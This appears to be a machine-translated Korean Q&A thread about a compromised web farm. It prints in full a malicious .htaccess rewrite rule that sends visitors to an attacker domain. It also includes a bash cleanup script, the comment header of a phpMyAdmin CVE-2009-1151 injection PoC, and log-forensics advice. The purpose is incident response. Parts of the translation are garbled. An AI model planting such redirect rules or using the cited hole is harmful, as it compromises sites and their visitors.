웹서버 취약점 찾기

웹서버 취약점 찾기

우리는 약 300개의 웹사이트를 호스팅하는 웹서버 팜을 운영하고 있습니다.

어제 아침 스크립트는 www-data(apache 사용자)가 소유한 .htaccess 파일을 배치했습니다.모든 디렉토리에대부분의 (전부는 아님) 사이트의 document_root 아래에 있습니다.

.htaccess 파일의 내용은 다음과 같습니다.

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}

해당 URL("안티바이러스"의 md5 해시)에 대한 인터넷 검색을 통해 이와 동일한 일이 인터넷 전체에서 발생한다는 사실을 발견했으며 이미 이 문제를 처리한 사람을 찾고 있습니다.취약점이 있는 곳.

대부분의 로그를 검색했지만 아직 결정적인 내용을 찾지 못했습니다. 구멍을 찾아내는 데 있어서 저보다 더 발전한 동일한 일을 경험한 다른 사람들이 있습니까?

지금까지 우리는 다음을 결정했습니다.

  • 변경 사항은 www-data로 이루어졌으므로 Apache 또는 해당 플러그인이 범인일 가능성이 높습니다.
  • 모든 변경사항은 서로 15분 이내에 이루어졌으므로 아마도 자동화되었을 것입니다.
  • 우리 웹사이트는 매우 다양한 도메인 이름을 가지고 있기 때문에 (모든 사이트의 공통 취약점이 아닌) 한 사이트의 단일 취약점이 원인이라고 생각합니다.
  • .htaccess 파일이 이미 존재하고 www-data에서 쓸 수 있는 경우 스크립트는 친절하고 위의 줄을 파일 끝에 추가하기만 하면 됩니다(뒤로 쉽게 되돌릴 수 있음).

더 이상의 힌트를 주시면 감사하겠습니다.

==편집==

필요한 분들을 위해 .htaccess 파일을 정리하는 데 사용한 스크립트는 다음과 같습니다.

#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/`mktemp "XXXXXX"`
find $DIR -name .htaccess|while read FILE; do
  if ( grep $PATT "$FILE" > /dev/null); then
    if [ `cat "$FILE"|wc -l` -eq 4 ]; then
      rm "$FILE"
    else
      if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then
        rm $TMP
        cp "$FILE" $TMP
        LINES=`cat $TMP|wc -l`
        GOODLINES=$(($LINES-4))
        head -n $GOODLINES $TMP > "$FILE"
      else
        echo $FILE requires manual intervention
      fi
    fi
  fi
done

답변1

거기에악용하다phpMyAdmin의

#!/bin/bash

# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP 코드 주입 RCE PoC v0.11
# 작성자: pagvac(gnucitizen.org), 2009년 6월 4일.
# Greg Ose(labs.neohapsis.com)에게 특별히 감사드립니다. 멋진 취약점을 발견해주셔서
# 그리고 이 PoC 스크립트를 테스트하고 피드백을 제공해 주신 str0ke(milw0rm.com)에게 감사드립니다!

# PoC 스크립트는 다음 대상에서 성공적으로 테스트되었습니다:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 및 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

# 공격 요구 사항:
# 1) 취약한 버전(당연히!): 2.11.9.5 이전의 2.11.x
# PMASA-2009-3에 따르면 3.1.3.1 이전의 3.x
# 2)것 같다
이 취약점은 # 관리자가 phpMyAdmin을 설치하기로 선택한 환경에서만 악용될 수 있습니다
.마법사수동 방법이 아닌 방법:http://snipurl.com/jhjxx

# 3) 관리자는 '/phpMyAdmin/' 디렉토리 내의 # '/config/' 디렉토리를 삭제하지 않았어야 합니다 . 이는 이 디렉토리가 # '/scripts/setup.php'가 'config.inc.php'를 생성하려고 시도하는 곳이기 때문입니다. #
여기에
우리의 사악한 PHP 코드가 주입됩니다. 8)

# 추가 정보:
#http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
#http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

답변2

공격이 아파치를 통해 들어온 것 같으므로 다음 두 가지 작업을 수행합니다.

  1. '.htaccess'를 찾는 모든 액세스 로그를 살펴봅니다. 즉, 다음과 같습니다.
    grep -rn '\.htaccess' /var/log/httpd/*access*
  2. apache/httpd/whatever 사용자 홈 디렉토리에서 기록 파일(종종 '/var/www' 또는 이와 유사한 파일)을 찾으십시오.

이는 먼저 웹 사용자 자체가 손상되었는지 또는 공격자가 임의의 명령 실행을 활용했는지 여부를 알려줍니다. 또한 공격자가 수행한 작업에 대한 (잠재적인) 전체 설명을 제공할 수도 있습니다. 어리석게 들리겠지만, 이와 같은 대부분의 해킹은 스스로 정리하고 그러한 증거를 남기는 경우가 거의 없습니다.

물론 조직에 보안 사고 대응이나 법의학 조사를 수행하는 그룹이 있는 경우 자체 분석을 시작하기 전에 해당 그룹에 장비를 넘겨주는 것이 좋습니다.

관련 정보